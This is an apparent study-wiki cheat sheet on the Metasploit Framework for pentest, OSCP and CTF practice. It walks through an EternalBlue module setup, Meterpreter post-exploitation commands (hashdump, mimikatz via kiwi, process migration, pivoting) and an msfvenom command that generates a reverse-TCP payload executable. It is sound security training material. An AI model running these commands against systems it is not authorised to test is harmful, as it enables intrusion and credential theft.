Metasploit

The Metasploit Framework is the best-known exploitation platform: an arsenal of exploits, payloads, and auxiliary modules with a common interface. It speeds up exploitation and post-exploitation, though in settings like the OSCP it’s worth knowing how to do it “by hand” too (see the Pwn/Reversing and Windows & AD areas).

Concepts

Exploit    code that leverages a vuln to run a payload
Payload    what runs after exploiting (shell, Meterpreter, command)
Auxiliary  modules that don't exploit: scanners, fuzzers, enumeration, DoS
Encoder    obfuscate payloads (today ineffective against EDR, see mal-evasion)
Post       post-exploitation modules (collection, pivoting, persistence)
Meterpreter  an advanced in-memory payload with many capabilities

Basic flow (msfconsole)

msfconsole
search <service/CVE>            # find modules
use exploit/windows/smb/ms17_010_eternalblue
show options                     # see required parameters
set RHOSTS 10.10.10.10 ; set LHOST <your_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run    (or exploit)              # launch

Meterpreter (post-exploitation)

sysinfo ; getuid                 # system and user info
hashdump                         # dump hashes (see ad-creds)
migrate <pid>                    # migrate to another process
portfwd / route                  # pivoting to internal networks (see ad-lateral)
background / sessions            # manage sessions
load kiwi                        # integrated mimikatz

Auxiliary modules and msfvenom

auxiliary/scanner/...            # scanning/enumeration (smb, ssh, http...)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=.. LPORT=.. -f exe > s.exe
  # generate standalone payloads (note: heavily detected by AV/EDR, see mal-evasion)
handler (exploit/multi/handler)  # receive connections from payloads

When (and when not) to use it

- fast and powerful for known exploits and post-exploitation/pivoting
- in OSCP: LIMITED use in the exam -> learn to exploit and pivot by hand too
- raw msfvenom payloads are heavily detected (evasion: see mal-evasion)
- in CTF, "by hand" is sometimes more reliable and educational than a module

Blue Team / use

Metasploit speeds up exploitation and post-exploitation (Meterpreter, pivoting) with a common interface.
Knowing how to do it by hand also matters (OSCP limits it; CTF sometimes prefers it).
msfvenom payloads are heavily detected: for real evasion, see mal-evasion.
For the defender: Meterpreter/msfvenom signatures are known IOCs (EDR / XDR, dfir).

Tips and gotchas

db_nmap + workspaces keep things organized; use setg for global vars (LHOST, etc.).
Common mistake: forgetting set PAYLOAD/set LHOST or using an already-detected payload; Meterpreter trips almost any EDR.
In real pentests use it cautiously due to detectability; for mature red teams, a dedicated C2 (see Command & Control).
sessions -u to upgrade to Meterpreter; migrate to a stable process; resource scripts to automate.

Testing checklist

Identify the right exploit/module (search)
Configure options (RHOSTS/LHOST/PAYLOAD) correctly
Handler ready to receive the session
Post-exploitation with Meterpreter (hashdump, migrate, pivoting)
Consider doing it by hand (OSCP/CTF) and the detectability
msfvenom only with evasion awareness (Defense Evasion)
Document for the report